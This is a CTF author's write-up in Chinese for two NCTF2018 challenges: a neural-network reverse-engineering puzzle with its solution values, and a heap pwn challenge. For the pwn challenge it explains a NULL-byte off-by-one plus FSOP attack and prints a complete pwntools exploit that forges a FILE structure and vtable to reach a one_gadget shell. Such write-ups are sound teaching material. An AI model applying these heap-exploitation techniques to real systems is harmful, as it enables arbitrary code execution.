NCTF2018 NaiveNetwork & HouseOfAcdxvfsvd 出題思路

  • 2019 年 10 月 8 日
  • 筆記

本文所述的題目源碼已經開放到https://github.com/NJUPT-coding-gay/NCTF2018

NaiveNetwork

最近出題人不知道吃錯了什麼葯,開始研究起了神經網絡,於是就有了這道題。

關於神經網絡的基本介紹和實現,可以參見這篇文章 BP神經網絡及其C語言實現:https://zhuanlan.zhihu.com/p/27110594

出題人用C語言手擼了一個簡單的BP神經網絡,有兩個輸入和一個輸出,一層隱藏層,隱藏層有50個神經元,激活函數都是sigmoid。為了讓做題人黑盒分析出來(x),使用的訓練樣本是滿足f(x, y) = (x + 2 * y) / 3的,10000組樣本訓練10000次,獲得超過99%的準確率與1e-6以下的累積誤差。

當然,一個這麼簡單的網絡肯定是不夠大師傅們玩的,所以辣雞出題人又在後面增加了一層check。既然都是浮點數,那麼就往幾何上面靠。check的步驟如下:

  • 將34個輸出兩兩配對,變成平面上的17個點的坐標
  • 檢查第一個點是否是某一個定點
  • 檢查這17個點是不是圓心為(0.5, 0.5),半徑為0.25的圓上的17個兩兩等距離的點

這種初中幾何難度的check,估計大師傅們還是秒,所以出題人讓這個check模糊了起來:

  • 先選取第一點A和第二點B,用餘弦定理計算角AOB的餘弦
  • 隨機選取點集中一個異於A、B的點C,用餘弦定理計算角ACB的餘弦
  • 用二倍角公式檢查角AOB是否為角ACB的兩倍
  • 選取連續的兩個點A[i]和A[(i+1)%17],再隨機選一點X,計算角A[i]XA[i+1]是否等於之前角ACB的餘弦,對所有的i=0到16進行此check
  • 為了防止偶然現象,進行10000次check。由於神經網絡誤差和浮點數誤差,判斷標準為準確率超過99.3%即為通過。Flag生成只使用輸入的小數點後兩位,保證在通過驗證的情況下不存在多個Flag。

逆向起來的思路大概就是這樣:

  • 首先要能看出這個check檢查的是圓上17個均勻的點(x,並且第一個點是一個定點
  • 用matlab mathematica或者手算(喵喵喵?)等方法可以寫出這些點的坐標:
{      {0.747193, 0.53736},      {0.717005, 0.624133},      {0.657509, 0.694142},      {0.57674, 0.73793},      {0.485608, 0.749585},      {0.396419, 0.727532},      {0.32122, 0.67475},      {0.270165, 0.598367},      {0.250151, 0.508698},      {0.263881, 0.417855},      {0.3095, 0.338106},      {0.380847, 0.280222},      {0.468286, 0.25202},      {0.560008, 0.257309},      {0.643626, 0.295375},      {0.707847, 0.361076},      {0.743996, 0.44554}  }
  • 不過有一個問題,不確定這些點應該順時針排還是逆時針排。暫且都保留。
  • 分析神經網絡,利用hook等方法獲得一些輸入輸出對,畫出一個圖像,可以顯然(x)看出,分佈在一個平面上,擬合出平面的方程為x + 2y – 3z == 0.
  • 提取輸入到輸出的變換規則,可以得到方程組
seq_a[] = [5, 30, 32, 24, 13, 33, 29, 19, 9, 20, 10, 14, 6, 12, 18, 11, 0, 26, 21, 3, 2, 4, 22, 25, 8, 16, 23, 27, 17, 7, 1, 15, 31, 28]  seq_b[] = [22, 7, 13, 15, 29, 28, 30, 32, 12, 33, 27, 25, 9, 23, 5, 11, 6, 21, 24, 0, 19, 16, 10, 17, 14, 18, 31, 26, 20, 8, 3, 4, 1, 2]  for i in xrange(34):      input[seq_a[i]] + 2 * input[seq_b[i]] == 3 * output[i]
  • 用z3 matlab或者手解(喵喵喵喵喵?)等方法解出方程組的解,不難發現只有逆時針的時候能解得一組全為0到1之間的解。

// ps: 為了湊這個方程組,出題人採用了傳說中的猴子算法,每次隨機打亂兩個順序數組,不停地解一下方程,直到都在0-1之間為止。實踐證明這個算法還是挺靠譜的= =

最後拿到輸入組

0.316222  0.881297  0.309929  0.621122  0.084098  0.332510  0.217116  0.545128  0.170498  0.373272  0.094003  0.598367  0.541776  0.599381  0.617180  0.915032  0.465110  0.028979  0.145475  0.309285  0.950950  0.706972  0.954535  0.741237  0.042336  0.782708  0.112150  0.547627  0.716762  0.686573  0.521824  0.469393  0.952252  0.648903

輸入即可拿到Flag。

House of acdxvfsvd

這道題的出題靈感來自於某一次課程設計的時候寫了個bug,基本也沒怎麼分配堆,就開了幾個文件,一通操作之後堆炸了,後來學了pwn才知道,fopen分配 FILE結構體的時候會分配在堆上。

這個題設計的攻擊思路是NULL-byte off by one + FSOP

程序設計了三種堆塊的分配,大小分別為 0x208,0x608,0x408。同時限制了三種分配和釋放的次數, 0x208能分配兩塊,任意次數,其他的只能分配一次,且只有一塊。最後退出的時候,可以分配一個 0x808的堆塊,寫入完之後直接exit。漏洞在 read函數中,如果讀入的數量剛好等於參數所給的數量的話,會在最後多補一個零,造成 Nullbyteoffbyone.

由於限制比較嚴,這個題目的攻擊方法應該比較窄,基本思路如下:

malloc(homura)  malloc(cossack)  malloc(mozhucy)  free(cossack)  free(homura)  malloc(homura)  overflow cossack  malloc(homura)  read_file == malloc(io_file)  free(homura)  free(mozhucy)  malloc(comment)

泄露地址可以通過對homura堆塊的反覆分配與釋放來獲得。

在完成堆利用鏈之後,我們可以完全控制文件結構體所在塊的內容,於是可以按照 fsop的思路,寫一個假的虛表,在 io overflow字段放上 one gadget,然後將 FILE結構體覆寫為我們偽造的 FILE結構體,最後調用 exit觸發 one gadget

最後附上題目中出現的Homura所寫的exp:

from pwn import *  p=process('./houseofacd',env={'LD_PRELOAD':'./libc-2.23.so'})  def addhomura(data):      p.recvuntil('choice')      p.sendline('1')      p.recvuntil('choice')      p.sendline('1')      p.recvuntil('content')      p.send(data)  def delehomura():      p.recvuntil('choice')      p.sendline('1')      p.recvuntil('choice')      p.sendline('2')  def addcoss(data):      p.recvuntil('choice')      p.sendline('2')      p.recvuntil('choice')      p.sendline('1')      p.recvuntil('content')      p.send(data)  def delecoss():      p.recvuntil('choice')      p.sendline('2')      p.recvuntil('choice')      p.sendline('2')  def addmo(data):      p.recvuntil('choice')      p.sendline('3')      p.recvuntil('choice')      p.sendline('1')      p.recvuntil('content')      p.send(data)  def delemo():      p.recvuntil('choice')      p.sendline('3')      p.recvuntil('choice')      p.sendline('2')  def readfile():      p.recvuntil('choice')      p.sendline('4')      p.sendline('aaaa')  addhomura('aaan')#1  addcoss('aaan')  addmo('aaan')  delecoss()  delehomura()#0  addhomura('a'*0x208)  addhomura('n')#2  readfile()  delehomura()#1  delemo()  delehomura()#0  addhomura('n')#1  p.recvuntil('choice')  p.sendline('1')  p.recvuntil('choice:n')  p.sendline('3')  heap = u64(p.recv(6).ljust(8,'x00'))  info(hex(heap))  delehomura()#0  addhomura('aaaaaaaan')#1  p.recvuntil('choice')  p.sendline('1')  p.recvuntil('choice')  p.sendline('3')  p.recvuntil('a'*8)  addr = u64(p.recv(6).ljust(8,'x00'))  libc_addr = addr - (0x00007fca72624b78-0x7fca72260000)  one = libc_addr + 0xf1147  info(hex(libc_addr))  table = p64(0)*2+p64(one)*19  fake = p64(libc_addr +(0x00007f59fbad2488-0x7f59a4135000))  fake+= 3*p64(0)  fake+=p64(heap)  fake+=p64(heap+0x10)  fake+=p64(0)*7  fake+= p64(libc_addr +(0x00007f59a44fa540 - 0x7f59a4135000))  fake +=p64(3)  fake +=2*p64(0)  fake +=p64(heap - 0x140)  fake +=p64(0xffffffffffffffff)  fake +=p64(0)  fake +=p64(heap - 0x130)  fake +=p64(0)*4  fake += p64(0x00000000ffffffff)  fake += p64(0)  fake +=p64(heap -0x430)  delehomura()#0  addhomura(table+'n')#1  addhomura(fake+'n')#2  p.sendline('5')  p.sendline('a')  p.interactive()